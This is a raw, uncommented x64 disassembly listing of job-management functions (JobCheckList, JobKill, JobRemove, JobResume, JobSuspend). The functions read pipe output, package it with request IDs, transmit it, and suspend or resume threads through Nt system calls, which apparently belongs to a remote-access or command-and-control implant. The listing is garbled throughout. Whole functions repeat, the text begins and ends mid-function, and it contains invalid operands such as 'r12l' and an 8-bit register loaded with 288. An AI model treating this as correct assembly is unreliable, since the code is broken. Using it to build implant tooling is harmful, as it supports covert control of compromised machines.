14001677bjmp 0x14001679f
14001677d
14001677dloc_14001677d:
14001677dcmp [rbx+10], 1
140016782jne 0x140016982
140016788xor r12l, r12l
14001678bmov rcx, [rbx+16]
14001678flea rdx, [rsp+60]
140016794mov [rsp+60], r12l
140016799call [rsi+972]
14001679f
14001679floc_14001679f:
14001679fcmp [rsp+60], 259
1400167a7je 0x140016982
1400167admov [rbx+10], 3
1400167b3jmp 0x140016982
1400167b8
1400167b8loc_1400167b8:
1400167b8cmp [rbx+10], 1
1400167bdjne 0x140016982
1400167c3xor ebp, ebp
1400167c5mov rcx, [rbx+16]
1400167c9lea rdx, [rsp+56]
1400167cemov [rsp+56], ebp
1400167d2call [rsi+964]
1400167d8cmp [rsp+56], 259
1400167e0je 0x1400168b2
1400167e6lea r9, [rip+0x11a2d]
1400167edmov r8l, 113
1400167f3lea rdx, [rip+0x16936]
1400167falea rcx, [rip+0x11974]
140016801call printf
140016806mov [rbx+10], 3
14001680cmov rcx, [rbx+24]
140016810mov edx, [rbx]
140016812call AnonPipesRead
140016817mov edx, [rbx]
140016819mov ecx, 21
14001681ecall PackageCreateWithRequestID
140016823mov edx, 5
140016828mov rdi, rax
14001682bmov rcx, rax
14001682ecall PackageAddInt32
140016833mov rcx, rdi
140016836xor edi, edi
140016838call PackageTransmit
14001683dmov rcx, [rbx+16]
140016841call SysNtClose
140016846mov rax, [rbx+24]
14001684amov [rbx+16], rdi
14001684emov rcx, [rax+8]
140016852test rcx, rcx
140016855je 0x140016867
140016857call SysNtClose
14001685cmov rax, [rbx+24]
140016860xor r11l, r11l
140016863mov [rax+8], r11
140016867
140016867loc_140016867:
140016867mov rax, [rbx+24]
14001686bmov rcx, [rax]
14001686etest rcx, rcx
140016871je 0x140016882
140016873call SysNtClose
140016878mov rax, [rbx+24]
14001687cxor r10l, r10l
14001687fmov [rax], r10
140016882
140016882loc_140016882:
140016882mov rdi, [rbx+24]
140016886test rdi, rdi
140016889je 0x14001689e
14001688bmov ecx, 16
140016890xor eax, eax
140016892rep stosb [rdi], al
140016894mov rcx, [rbx+24]
140016898call [rsi+940]
14001689e
14001689eloc_14001689e:
14001689exor r9l, r9l
1400168a1mov ecx, [rbx+4]
1400168a4mov [rbx+24], r9
1400168a8call JobRemove
1400168adjmp 0x140016982
1400168b2
1400168b2loc_1400168b2:
1400168b2mov rax, [rbx+24]
1400168b6xor ecx, ecx
1400168b8xor r8l, r8l
1400168bblea rdi, [rsp+60]
1400168c0mov [rsp+40], r8
1400168c5xor r9l, r9l
1400168c8xor r8l, r8l
1400168cbxor edx, edx
1400168cdmov [rsp+60], ecx
1400168d1mov [rsp+32], rdi
1400168d6mov rcx, [rax]
1400168d9call [rsi+860]
1400168dftest eax, eax
1400168e1je 0x140016982
1400168e7mov r9l, [rsp+60]
1400168eclea rcx, [rip+0x11941]
1400168f3mov r8l, 151
1400168f9lea rdx, [rip+0x16830]
140016900call printf
140016905mov ecx, [rsp+60]
140016909test ecx, ecx
14001690bje 0x140016982
14001690dmov ebp, ecx
14001690fmov ecx, 64
140016914mov rdx, rbp
140016917call [rsi+932]
14001691dxor edx, edx
14001691fmov r8l, [rsp+60]
140016924mov r9, rdi
140016927mov r12, rax
14001692amov rax, [rbx+24]
14001692emov [rsp+32], rdx
140016933mov rdx, r12
140016936mov rcx, [rax]
140016939call [rsi+916]
14001693ftest eax, eax
140016941je 0x14001696a
140016943mov edx, [rbx]
140016945mov ecx, 90
14001694acall PackageCreateWithRequestID
14001694fmov r8l, [rsp+60]
140016954mov rdx, r12
140016957mov rdi, rax
14001695amov rcx, rax
14001695dcall PackageAddBytes
140016962mov rcx, rdi
140016965call PackageTransmit
14001696a
14001696aloc_14001696a:
14001696atest r12, r12
14001696dje 0x140016982
14001696fmov rdi, r12
140016972mov rcx, rbp
140016975xor eax, eax
140016977rep stosb [rdi], al
140016979mov rcx, r12
14001697ccall [rsi+940]
140016982
140016982loc_140016982:
140016982mov rbx, [rbx+32]
140016986jmp 0x140016738
14001698b
14001698bloc_14001698b:
14001698badd rsp, 64
14001698fpop rbx
140016990pop rsi
140016991pop rdi
140016992pop rbp
140016993pop r12
140016995ret
140016720
140016720JobCheckList:
140016720push r12
140016722push rbp
140016723push rdi
140016724push rsi
140016725push rbx
140016726sub rsp, 64
14001672amov rsi, [rip+0x15c3f]
140016731mov rbx, [rsi+2302]
140016738
140016738loc_140016738:
140016738test rbx, rbx
14001673bje 0x14001698b
140016741mov eax, [rbx+8]
140016744cmp ax, 2
140016748je 0x14001675b
14001674acmp ax, 3
14001674eje 0x1400167b8
140016750dec ax
140016753jne 0x140016982
140016759jmp 0x14001677d
14001675b
14001675bloc_14001675b:
14001675bcmp [rbx+10], 1
140016760jne 0x140016982
140016766xor eax, eax
140016768mov rcx, [rbx+16]
14001676clea rdx, [rsp+60]
140016771mov [rsp+60], eax
140016775call [rsi+964]
14001677bjmp 0x14001679f
14001677d
14001677dloc_14001677d:
14001677dcmp [rbx+10], 1
140016782jne 0x140016982
140016788xor r12l, r12l
14001678bmov rcx, [rbx+16]
14001678flea rdx, [rsp+60]
140016794mov [rsp+60], r12l
140016799call [rsi+972]
14001679f
14001679floc_14001679f:
14001679fcmp [rsp+60], 259
1400167a7je 0x140016982
1400167admov [rbx+10], 3
1400167b3jmp 0x140016982
1400167b8
1400167b8loc_1400167b8:
1400167b8cmp [rbx+10], 1
1400167bdjne 0x140016982
1400167c3xor ebp, ebp
1400167c5mov rcx, [rbx+16]
1400167c9lea rdx, [rsp+56]
1400167cemov [rsp+56], ebp
1400167d2call [rsi+964]
1400167d8cmp [rsp+56], 259
1400167e0je 0x1400168b2
1400167e6lea r9, [rip+0x11a2d]
1400167edmov r8l, 113
1400167f3lea rdx, [rip+0x16936]
1400167falea rcx, [rip+0x11974]
140016801call printf
140016806mov [rbx+10], 3
14001680cmov rcx, [rbx+24]
140016810mov edx, [rbx]
140016812call AnonPipesRead
140016817mov edx, [rbx]
140016819mov ecx, 21
14001681ecall PackageCreateWithRequestID
140016823mov edx, 5
140016828mov rdi, rax
14001682bmov rcx, rax
14001682ecall PackageAddInt32
140016833mov rcx, rdi
140016836xor edi, edi
140016838call PackageTransmit
14001683dmov rcx, [rbx+16]
140016841call SysNtClose
140016846mov rax, [rbx+24]
14001684amov [rbx+16], rdi
14001684emov rcx, [rax+8]
140016852test rcx, rcx
140016855je 0x140016867
140016857call SysNtClose
14001685cmov rax, [rbx+24]
140016860xor r11l, r11l
140016863mov [rax+8], r11
140016867
140016867loc_140016867:
140016867mov rax, [rbx+24]
14001686bmov rcx, [rax]
14001686etest rcx, rcx
140016871je 0x140016882
140016873call SysNtClose
140016878mov rax, [rbx+24]
14001687cxor r10l, r10l
14001687fmov [rax], r10
140016882
140016882loc_140016882:
140016882mov rdi, [rbx+24]
140016886test rdi, rdi
140016889je 0x14001689e
14001688bmov ecx, 16
140016890xor eax, eax
140016892rep stosb [rdi], al
140016894mov rcx, [rbx+24]
140016898call [rsi+940]
14001689e
14001689eloc_14001689e:
14001689exor r9l, r9l
1400168a1mov ecx, [rbx+4]
1400168a4mov [rbx+24], r9
1400168a8call JobRemove
1400168adjmp 0x140016982
1400168b2
1400168b2loc_1400168b2:
1400168b2mov rax, [rbx+24]
1400168b6xor ecx, ecx
1400168b8xor r8l, r8l
1400168bblea rdi, [rsp+60]
1400168c0mov [rsp+40], r8
1400168c5xor r9l, r9l
1400168c8xor r8l, r8l
1400168cbxor edx, edx
1400168cdmov [rsp+60], ecx
1400168d1mov [rsp+32], rdi
1400168d6mov rcx, [rax]
1400168d9call [rsi+860]
1400168dftest eax, eax
1400168e1je 0x140016982
1400168e7mov r9l, [rsp+60]
1400168eclea rcx, [rip+0x11941]
1400168f3mov r8l, 151
1400168f9lea rdx, [rip+0x16830]
140016900call printf
140016905mov ecx, [rsp+60]
140016909test ecx, ecx
14001690bje 0x140016982
14001690dmov ebp, ecx
14001690fmov ecx, 64
140016914mov rdx, rbp
140016917call [rsi+932]
14001691dxor edx, edx
14001691fmov r8l, [rsp+60]
140016924mov r9, rdi
140016927mov r12, rax
14001692amov rax, [rbx+24]
14001692emov [rsp+32], rdx
140016933mov rdx, r12
140016936mov rcx, [rax]
140016939call [rsi+916]
14001693ftest eax, eax
140016941je 0x14001696a
140016943mov edx, [rbx]
140016945mov ecx, 90
14001694acall PackageCreateWithRequestID
14001694fmov r8l, [rsp+60]
140016954mov rdx, r12
140016957mov rdi, rax
14001695amov rcx, rax
14001695dcall PackageAddBytes
140016962mov rcx, rdi
140016965call PackageTransmit
14001696a
14001696aloc_14001696a:
14001696atest r12, r12
14001696dje 0x140016982
14001696fmov rdi, r12
140016972mov rcx, rbp
140016975xor eax, eax
140016977rep stosb [rdi], al
140016979mov rcx, r12
14001697ccall [rsi+940]
140016982
140016982loc_140016982:
140016982mov rbx, [rbx+32]
140016986jmp 0x140016738
14001698b
14001698bloc_14001698b:
14001698badd rsp, 64
14001698fpop rbx
140016990pop rsi
140016991pop rdi
140016992pop rbp
140016993pop r12
140016995ret
140016720
140016996
140016996 // align 0x10
140016996 // align 0x10
1400169a0
1400169a0JobKill:
1400169a0push r15
1400169a2push r14
1400169a4lea r14, [rip+0x118c0]
1400169abpush r13
1400169admov r13l, ecx
1400169b0push r12
1400169b2lea r12, [rip+0x15e47]
1400169b9push rbp
1400169bapush rdi
1400169bbxor edi, edi
1400169bdpush rsi
1400169bepush rbx
1400169bfsub rsp, 72
1400169c3mov rsi, [rip+0x159a6]
1400169camov rbx, [rsi+2302]
1400169d1
1400169d1loc_1400169d1:
1400169d1test rbx, rbx
1400169d4je 0x140016bef
1400169dacmp [rbx+4], r13l
1400169dejne 0x140016be6
1400169e4mov r9l, r13l
1400169e7mov r8l, 288
1400169edmov rdx, r12
1400169f0mov rcx, r14
1400169f3call printf
1400169f8mov eax, [rbx+8]
1400169fbcmp ax, 2
1400169ffje 0x140016ae0
140016a05cmp ax, 3
140016a09je 0x140016af5
140016a0fdec ax
140016a12jne 0x140016aba
140016a18cmp [rbx+10], 3
140016a1dje 0x140016aba
140016a23lea rcx, [rip+0x1174b]
140016a2alea r9, [rip+0x1185c]
140016a31mov r8l, 296
140016a37mov rdx, r12
140016a3acall printf
140016a3fcmp [rbx+16], 0
140016a44lea rcx, [rip+0x1172a]
140016a4bje 0x140016ac4
140016a4dlea r9, [rip+0x11845]
140016a54mov r8l, 301
140016a5amov rdx, r12
140016a5dcall printf
140016a62mov rcx, [rbx+16]
140016a66xor edx, edx
140016a68call [rsi+684]
140016a6emov ebp, eax
140016a70test eax, eax
140016a72jns 0x140016ab4
140016a74mov rdx, r12
140016a77mov r9l, eax
140016a7amov r8l, 305
140016a80lea rcx, [rip+0x11824]
140016a87call printf
140016a8cmov rdi, [rsi+2230]
140016a93mov ecx, ebp
140016a95call [rsi+348]
140016a9bmov ecx, 1
140016aa0mov [rdi+104], eax
140016aa3mov rax, [rsi+2230]
140016aaamov edx, [rax+104]
140016aadcall PackageTransmitError
140016ab2jmp 0x140016ad9
140016ab4
140016ab4loc_140016ab4:
140016ab4dec [rsi+2238]
140016aba
140016abaloc_140016aba:
140016abamov edi, 1
140016abfjmp 0x140016bde
140016ac4
140016ac4loc_140016ac4:
140016ac4lea r9, [rip+0x116be]
140016acbmov r8l, 318
140016ad1mov rdx, r12
140016ad4call printf
140016ad9
140016ad9loc_140016ad9:
140016ad9xor edi, edi
140016adbjmp 0x140016bde
140016ae0
140016ae0loc_140016ae0:
140016ae0cmp [rbx+10], 3
140016ae5je 0x140016aba
140016ae7mov rcx, [rbx+16]
140016aebxor edx, edx
140016aedcall [rsi+980]
140016af3jmp 0x140016aba
140016af5
140016af5loc_140016af5:
140016af5cmp [rbx+10], 3
140016afaje 0x140016aba
140016afcxor edx, edx
140016afemov rcx, [rbx+16]
140016b02lea rdi, [rsp+60]
140016b07call [rsi+980]
140016b0dmov rax, [rbx+24]
140016b11xor ecx, ecx
140016b13xor r8l, r8l
140016b16mov [rsp+40], r8
140016b1bxor r9l, r9l
140016b1exor r8l, r8l
140016b21xor edx, edx
140016b23mov [rsp+60], ecx
140016b27mov [rsp+32], rdi
140016b2cmov rcx, [rax]
140016b2fcall [rsi+860]
140016b35test eax, eax
140016b37je 0x140016aba
140016b39mov r9l, [rsp+60]
140016b3elea rcx, [rip+0x116ef]
140016b45mov r8l, 346
140016b4bmov rdx, r12
140016b4ecall printf
140016b53mov ecx, [rsp+60]
140016b57test ecx, ecx
140016b59je 0x140016aba
140016b5fmov r15l, ecx
140016b62mov ecx, 64
140016b67mov rdx, r15
140016b6acall [rsi+932]
140016b70xor edx, edx
140016b72mov r8l, [rsp+60]
140016b77mov r9, rdi
140016b7amov rbp, rax
140016b7dmov rax, [rbx+24]
140016b81mov [rsp+32], rdx
140016b86mov rdx, rbp
140016b89mov rcx, [rax]
140016b8ccall [rsi+916]
140016b92test eax, eax
140016b94je 0x140016bbd
140016b96mov edx, [rbx]
140016b98mov ecx, 90
140016b9dcall PackageCreateWithRequestID
140016ba2mov r8l, [rsp+60]
140016ba7mov rdx, rbp
140016baamov rdi, rax
140016badmov rcx, rax
140016bb0call PackageAddBytes
140016bb5mov rcx, rdi
140016bb8call PackageTransmit
140016bbd
140016bbdloc_140016bbd:
140016bbdtest rbp, rbp
140016bc0je 0x140016aba
140016bc6mov rdi, rbp
140016bc9mov rcx, r15
140016bccxor eax, eax
140016bcerep stosb [rdi], al
140016bd0mov rcx, rbp
140016bd3call [rsi+940]
140016bd9jmp 0x140016aba
140016bde
140016bdeloc_140016bde:
140016bdemov ecx, r13l
140016be1call JobRemove
140016be6
140016be6loc_140016be6:
140016be6mov rbx, [rbx+32]
140016beajmp 0x1400169d1
140016bef
140016befloc_140016bef:
140016befadd rsp, 72
140016bf3mov eax, edi
140016bf5pop rbx
140016bf6pop rsi
140016bf7pop rdi
140016bf8pop rbp
140016bf9pop r12
140016bfbpop r13
140016bfdpop r14
140016bffpop r15
140016c01ret
1400169a0
1400169a0JobKill:
1400169a0push r15
1400169a2push r14
1400169a4lea r14, [rip+0x118c0]
1400169abpush r13
1400169admov r13l, ecx
1400169b0push r12
1400169b2lea r12, [rip+0x15e47]
1400169b9push rbp
1400169bapush rdi
1400169bbxor edi, edi
1400169bdpush rsi
1400169bepush rbx
1400169bfsub rsp, 72
1400169c3mov rsi, [rip+0x159a6]
1400169camov rbx, [rsi+2302]
1400169d1
1400169d1loc_1400169d1:
1400169d1test rbx, rbx
1400169d4je 0x140016bef
1400169dacmp [rbx+4], r13l
1400169dejne 0x140016be6
1400169e4mov r9l, r13l
1400169e7mov r8l, 288
1400169edmov rdx, r12
1400169f0mov rcx, r14
1400169f3call printf
1400169f8mov eax, [rbx+8]
1400169fbcmp ax, 2
1400169ffje 0x140016ae0
140016a05cmp ax, 3
140016a09je 0x140016af5
140016a0fdec ax
140016a12jne 0x140016aba
140016a18cmp [rbx+10], 3
140016a1dje 0x140016aba
140016a23lea rcx, [rip+0x1174b]
140016a2alea r9, [rip+0x1185c]
140016a31mov r8l, 296
140016a37mov rdx, r12
140016a3acall printf
140016a3fcmp [rbx+16], 0
140016a44lea rcx, [rip+0x1172a]
140016a4bje 0x140016ac4
140016a4dlea r9, [rip+0x11845]
140016a54mov r8l, 301
140016a5amov rdx, r12
140016a5dcall printf
140016a62mov rcx, [rbx+16]
140016a66xor edx, edx
140016a68call [rsi+684]
140016a6emov ebp, eax
140016a70test eax, eax
140016a72jns 0x140016ab4
140016a74mov rdx, r12
140016a77mov r9l, eax
140016a7amov r8l, 305
140016a80lea rcx, [rip+0x11824]
140016a87call printf
140016a8cmov rdi, [rsi+2230]
140016a93mov ecx, ebp
140016a95call [rsi+348]
140016a9bmov ecx, 1
140016aa0mov [rdi+104], eax
140016aa3mov rax, [rsi+2230]
140016aaamov edx, [rax+104]
140016aadcall PackageTransmitError
140016ab2jmp 0x140016ad9
140016ab4
140016ab4loc_140016ab4:
140016ab4dec [rsi+2238]
140016aba
140016abaloc_140016aba:
140016abamov edi, 1
140016abfjmp 0x140016bde
140016ac4
140016ac4loc_140016ac4:
140016ac4lea r9, [rip+0x116be]
140016acbmov r8l, 318
140016ad1mov rdx, r12
140016ad4call printf
140016ad9
140016ad9loc_140016ad9:
140016ad9xor edi, edi
140016adbjmp 0x140016bde
140016ae0
140016ae0loc_140016ae0:
140016ae0cmp [rbx+10], 3
140016ae5je 0x140016aba
140016ae7mov rcx, [rbx+16]
140016aebxor edx, edx
140016aedcall [rsi+980]
140016af3jmp 0x140016aba
140016af5
140016af5loc_140016af5:
140016af5cmp [rbx+10], 3
140016afaje 0x140016aba
140016afcxor edx, edx
140016afemov rcx, [rbx+16]
140016b02lea rdi, [rsp+60]
140016b07call [rsi+980]
140016b0dmov rax, [rbx+24]
140016b11xor ecx, ecx
140016b13xor r8l, r8l
140016b16mov [rsp+40], r8
140016b1bxor r9l, r9l
140016b1exor r8l, r8l
140016b21xor edx, edx
140016b23mov [rsp+60], ecx
140016b27mov [rsp+32], rdi
140016b2cmov rcx, [rax]
140016b2fcall [rsi+860]
140016b35test eax, eax
140016b37je 0x140016aba
140016b39mov r9l, [rsp+60]
140016b3elea rcx, [rip+0x116ef]
140016b45mov r8l, 346
140016b4bmov rdx, r12
140016b4ecall printf
140016b53mov ecx, [rsp+60]
140016b57test ecx, ecx
140016b59je 0x140016aba
140016b5fmov r15l, ecx
140016b62mov ecx, 64
140016b67mov rdx, r15
140016b6acall [rsi+932]
140016b70xor edx, edx
140016b72mov r8l, [rsp+60]
140016b77mov r9, rdi
140016b7amov rbp, rax
140016b7dmov rax, [rbx+24]
140016b81mov [rsp+32], rdx
140016b86mov rdx, rbp
140016b89mov rcx, [rax]
140016b8ccall [rsi+916]
140016b92test eax, eax
140016b94je 0x140016bbd
140016b96mov edx, [rbx]
140016b98mov ecx, 90
140016b9dcall PackageCreateWithRequestID
140016ba2mov r8l, [rsp+60]
140016ba7mov rdx, rbp
140016baamov rdi, rax
140016badmov rcx, rax
140016bb0call PackageAddBytes
140016bb5mov rcx, rdi
140016bb8call PackageTransmit
140016bbd
140016bbdloc_140016bbd:
140016bbdtest rbp, rbp
140016bc0je 0x140016aba
140016bc6mov rdi, rbp
140016bc9mov rcx, r15
140016bccxor eax, eax
140016bcerep stosb [rdi], al
140016bd0mov rcx, rbp
140016bd3call [rsi+940]
140016bd9jmp 0x140016aba
140016bde
140016bdeloc_140016bde:
140016bdemov ecx, r13l
140016be1call JobRemove
140016be6
140016be6loc_140016be6:
140016be6mov rbx, [rbx+32]
140016beajmp 0x1400169d1
140016bef
140016befloc_140016bef:
140016befadd rsp, 72
140016bf3mov eax, edi
140016bf5pop rbx
140016bf6pop rsi
140016bf7pop rdi
140016bf8pop rbp
140016bf9pop r12
140016bfbpop r13
140016bfdpop r14
140016bffpop r15
140016c01ret
1400169a0
140016c02
140016c02 // align 0x10
140016c02 // align 0x10
140016c10
140016c10JobRemove:
140016c10push rbp
140016c11lea rbp, [rip+0x159d8]
140016c18mov r9l, ecx
140016c1bmov r8l, 387
140016c21push rdi
140016c22mov rdx, rbp
140016c25mov edi, ecx
140016c27lea rcx, [rip+0x11579]
140016c2epush rsi
140016c2fpush rbx
140016c30sub rsp, 40
140016c34call printf
140016c39lea r9, [rip+0x11589]
140016c40mov rdx, rbp
140016c43mov r8l, 388
140016c49lea rcx, [rip+0x11525]
140016c50call printf
140016c55mov rsi, [rip+0x15714]
140016c5cmov rbx, [rsi+2302]
140016c63test rbx, rbx
140016c66je 0x140016c6d
140016c68cmp [rbx+4], edi
140016c6bje 0x140016c74
140016c6d
140016c6dloc_140016c6d:
140016c6dmov rax, rbx
140016c70xor ebx, ebx
140016c72jmp 0x140016ca0
140016c74
140016c74loc_140016c74:
140016c74mov rax, [rbx+32]
140016c78mov [rsi+2302], rax
140016c7fjmp 0x140016cca
140016c81
140016c81loc_140016c81:
140016c81mov rdx, rax
140016c84mov rax, [rax+32]
140016c88test rax, rax
140016c8bje 0x140016ca5
140016c8dcmp [rax+4], edi
140016c90jne 0x140016c81
140016c92mov rcx, [rax+32]
140016c96mov rbx, rax
140016c99mov rax, rdx
140016c9cmov [rdx+32], rcx
140016ca0
140016ca0loc_140016ca0:
140016ca0test rax, rax
140016ca3jne 0x140016c81
140016ca5
140016ca5loc_140016ca5:
140016ca5test rbx, rbx
140016ca8jne 0x140016cca
140016caaadd rsp, 40
140016caemov r9l, edi
140016cb1mov rdx, rbp
140016cb4mov r8l, 417
140016cbapop rbx
140016cbblea rcx, [rip+0x11534]
140016cc2pop rsi
140016cc3pop rdi
140016cc4pop rbp
140016cc5jmp 0x140022d30
140016cca
140016ccaloc_140016cca:
140016ccamov rcx, [rbx+16]
140016ccetest rcx, rcx
140016cd1je 0x140016cd8
140016cd3call SysNtClose
140016cd8
140016cd8loc_140016cd8:
140016cd8cmp [rbx+8], 3
140016cddjne 0x140016d01
140016cdfmov rdi, [rbx+24]
140016ce3test rdi, rdi
140016ce6je 0x140016d01
140016ce8mov ecx, 16
140016cedxor eax, eax
140016cefrep stosb [rdi], al
140016cf1mov rcx, [rbx+24]
140016cf5call [rsi+940]
140016cfbxor eax, eax
140016cfdmov [rbx+24], rax
140016d01
140016d01loc_140016d01:
140016d01mov rdi, rbx
140016d04mov ecx, 40
140016d09xor eax, eax
140016d0brep stosb [rdi], al
140016d0dmov rax, [rsi+940]
140016d14add rsp, 40
140016d18mov rcx, rbx
140016d1bpop rbx
140016d1cpop rsi
140016d1dpop rdi
140016d1epop rbp
140016d1fjmp rax
140016c10
140016c10JobRemove:
140016c10push rbp
140016c11lea rbp, [rip+0x159d8]
140016c18mov r9l, ecx
140016c1bmov r8l, 387
140016c21push rdi
140016c22mov rdx, rbp
140016c25mov edi, ecx
140016c27lea rcx, [rip+0x11579]
140016c2epush rsi
140016c2fpush rbx
140016c30sub rsp, 40
140016c34call printf
140016c39lea r9, [rip+0x11589]
140016c40mov rdx, rbp
140016c43mov r8l, 388
140016c49lea rcx, [rip+0x11525]
140016c50call printf
140016c55mov rsi, [rip+0x15714]
140016c5cmov rbx, [rsi+2302]
140016c63test rbx, rbx
140016c66je 0x140016c6d
140016c68cmp [rbx+4], edi
140016c6bje 0x140016c74
140016c6d
140016c6dloc_140016c6d:
140016c6dmov rax, rbx
140016c70xor ebx, ebx
140016c72jmp 0x140016ca0
140016c74
140016c74loc_140016c74:
140016c74mov rax, [rbx+32]
140016c78mov [rsi+2302], rax
140016c7fjmp 0x140016cca
140016c81
140016c81loc_140016c81:
140016c81mov rdx, rax
140016c84mov rax, [rax+32]
140016c88test rax, rax
140016c8bje 0x140016ca5
140016c8dcmp [rax+4], edi
140016c90jne 0x140016c81
140016c92mov rcx, [rax+32]
140016c96mov rbx, rax
140016c99mov rax, rdx
140016c9cmov [rdx+32], rcx
140016ca0
140016ca0loc_140016ca0:
140016ca0test rax, rax
140016ca3jne 0x140016c81
140016ca5
140016ca5loc_140016ca5:
140016ca5test rbx, rbx
140016ca8jne 0x140016cca
140016caaadd rsp, 40
140016caemov r9l, edi
140016cb1mov rdx, rbp
140016cb4mov r8l, 417
140016cbapop rbx
140016cbblea rcx, [rip+0x11534]
140016cc2pop rsi
140016cc3pop rdi
140016cc4pop rbp
140016cc5jmp 0x140022d30
140016cca
140016ccaloc_140016cca:
140016ccamov rcx, [rbx+16]
140016ccetest rcx, rcx
140016cd1je 0x140016cd8
140016cd3call SysNtClose
140016cd8
140016cd8loc_140016cd8:
140016cd8cmp [rbx+8], 3
140016cddjne 0x140016d01
140016cdfmov rdi, [rbx+24]
140016ce3test rdi, rdi
140016ce6je 0x140016d01
140016ce8mov ecx, 16
140016cedxor eax, eax
140016cefrep stosb [rdi], al
140016cf1mov rcx, [rbx+24]
140016cf5call [rsi+940]
140016cfbxor eax, eax
140016cfdmov [rbx+24], rax
140016d01
140016d01loc_140016d01:
140016d01mov rdi, rbx
140016d04mov ecx, 40
140016d09xor eax, eax
140016d0brep stosb [rdi], al
140016d0dmov rax, [rsi+940]
140016d14add rsp, 40
140016d18mov rcx, rbx
140016d1bpop rbx
140016d1cpop rsi
140016d1dpop rdi
140016d1epop rbp
140016d1fjmp rax
140016c10
140016d21
140016d21 // align 0x10
140016d21 // align 0x10
140016d30
140016d30JobResume:
140016d30push rbp
140016d31lea rbp, [rip+0x1140a]
140016d38push rdi
140016d39lea rdi, [rip+0x15f60]
140016d40push rsi
140016d41mov esi, ecx
140016d43push rbx
140016d44sub rsp, 40
140016d48mov rax, [rip+0x15621]
140016d4fmov rbx, [rax+2302]
140016d56
140016d56loc_140016d56:
140016d56test rbx, rbx
140016d59je 0x140016de2
140016d5fcmp [rbx+4], esi
140016d62jne 0x140016dd9
140016d64mov r9l, esi
140016d67mov r8l, 239
140016d6dmov rdx, rdi
140016d70mov rcx, rbp
140016d73call printf
140016d78cmp [rbx+8], 1
140016d7djne 0x140016dd9
140016d7flea rsi, [rip+0x113ef]
140016d86lea r9, [rip+0x1140c]
140016d8dmov r8l, 243
140016d93mov rdx, rdi
140016d96mov rcx, rsi
140016d99call printf
140016d9emov rcx, [rbx+16]
140016da2test rcx, rcx
140016da5je 0x140016dbf
140016da7xor edx, edx
140016da9call SysNtResumeThread
140016daetest eax, eax
140016db0js 0x140016de2
140016db2mov [rbx+10], 1
140016db8mov eax, 1
140016dbdjmp 0x140016de4
140016dbf
140016dbfloc_140016dbf:
140016dbflea r9, [rip+0x113c3]
140016dc6mov r8l, 260
140016dccmov rdx, rdi
140016dcfmov rcx, rsi
140016dd2call printf
140016dd7jmp 0x140016de2
140016dd9
140016dd9loc_140016dd9:
140016dd9mov rbx, [rbx+32]
140016dddjmp 0x140016d56
140016de2
140016de2loc_140016de2:
140016de2xor eax, eax
140016de4
140016de4loc_140016de4:
140016de4add rsp, 40
140016de8pop rbx
140016de9pop rsi
140016deapop rdi
140016debpop rbp
140016decret
140016d30
140016d30JobResume:
140016d30push rbp
140016d31lea rbp, [rip+0x1140a]
140016d38push rdi
140016d39lea rdi, [rip+0x15f60]
140016d40push rsi
140016d41mov esi, ecx
140016d43push rbx
140016d44sub rsp, 40
140016d48mov rax, [rip+0x15621]
140016d4fmov rbx, [rax+2302]
140016d56
140016d56loc_140016d56:
140016d56test rbx, rbx
140016d59je 0x140016de2
140016d5fcmp [rbx+4], esi
140016d62jne 0x140016dd9
140016d64mov r9l, esi
140016d67mov r8l, 239
140016d6dmov rdx, rdi
140016d70mov rcx, rbp
140016d73call printf
140016d78cmp [rbx+8], 1
140016d7djne 0x140016dd9
140016d7flea rsi, [rip+0x113ef]
140016d86lea r9, [rip+0x1140c]
140016d8dmov r8l, 243
140016d93mov rdx, rdi
140016d96mov rcx, rsi
140016d99call printf
140016d9emov rcx, [rbx+16]
140016da2test rcx, rcx
140016da5je 0x140016dbf
140016da7xor edx, edx
140016da9call SysNtResumeThread
140016daetest eax, eax
140016db0js 0x140016de2
140016db2mov [rbx+10], 1
140016db8mov eax, 1
140016dbdjmp 0x140016de4
140016dbf
140016dbfloc_140016dbf:
140016dbflea r9, [rip+0x113c3]
140016dc6mov r8l, 260
140016dccmov rdx, rdi
140016dcfmov rcx, rsi
140016dd2call printf
140016dd7jmp 0x140016de2
140016dd9
140016dd9loc_140016dd9:
140016dd9mov rbx, [rbx+32]
140016dddjmp 0x140016d56
140016de2
140016de2loc_140016de2:
140016de2xor eax, eax
140016de4
140016de4loc_140016de4:
140016de4add rsp, 40
140016de8pop rbx
140016de9pop rsi
140016deapop rdi
140016debpop rbp
140016decret
140016d30
140016ded
140016ded // align 0x10
140016ded // align 0x10
140016df0
140016df0JobSuspend:
140016df0push rbp
140016df1lea rbp, [rip+0x1134a]
140016df8push rdi
140016df9lea rdi, [rip+0x161b0]
140016e00push rsi
140016e01mov esi, ecx
140016e03push rbx
140016e04sub rsp, 40
140016e08mov rax, [rip+0x15561]
140016e0fmov rbx, [rax+2302]
140016e16
140016e16loc_140016e16:
140016e16test rbx, rbx
140016e19je 0x140016ea2
140016e1fcmp [rbx+4], esi
140016e22jne 0x140016e99
140016e24mov r9l, esi
140016e27mov r8l, 193
140016e2dmov rdx, rdi
140016e30mov rcx, rbp
140016e33call printf
140016e38cmp [rbx+8], 1
140016e3djne 0x140016e99
140016e3flea rsi, [rip+0x1132f]
140016e46lea r9, [rip+0x11316]
140016e4dmov r8l, 197
140016e53mov rdx, rdi
140016e56mov rcx, rsi
140016e59call printf
140016e5emov rcx, [rbx+16]
140016e62test rcx, rcx
140016e65je 0x140016e7f
140016e67xor edx, edx
140016e69call SysNtSuspendThread
140016e6etest eax, eax
140016e70js 0x140016ea2
140016e72mov [rbx+10], 2
140016e78mov eax, 1
140016e7djmp 0x140016ea4
140016e7f
140016e7floc_140016e7f:
140016e7flea r9, [rip+0x11303]
140016e86mov r8l, 213
140016e8cmov rdx, rdi
140016e8fmov rcx, rsi
140016e92call printf
140016e97jmp 0x140016ea2
140016e99
140016e99loc_140016e99:
140016e99mov rbx, [rbx+32]
140016e9djmp 0x140016e16
140016ea2
140016ea2loc_140016ea2:
140016ea2xor eax, eax
140016ea4
140016ea4loc_140016ea4:
140016ea4add rsp, 40
140016ea8pop rbx
140016ea9pop rsi
140016eaapop rdi
140016eabpop rbp
140016eacret
140016df0
140016df0JobSuspend:
140016df0push rbp
140016df1lea rbp, [rip+0x1134a]
140016df8push rdi
140016df9lea rdi, [rip+0x161b0]
140016e00push rsi
140016e01mov esi, ecx
140016e03push rbx
140016e04sub rsp, 40
140016e08mov rax, [rip+0x15561]
140016e0fmov rbx, [rax+2302]
140016e16
140016e16loc_140016e16:
140016e16test rbx, rbx
140016e19je 0x140016ea2
140016e1fcmp [rbx+4], esi
140016e22jne 0x140016e99
140016e24mov r9l, esi
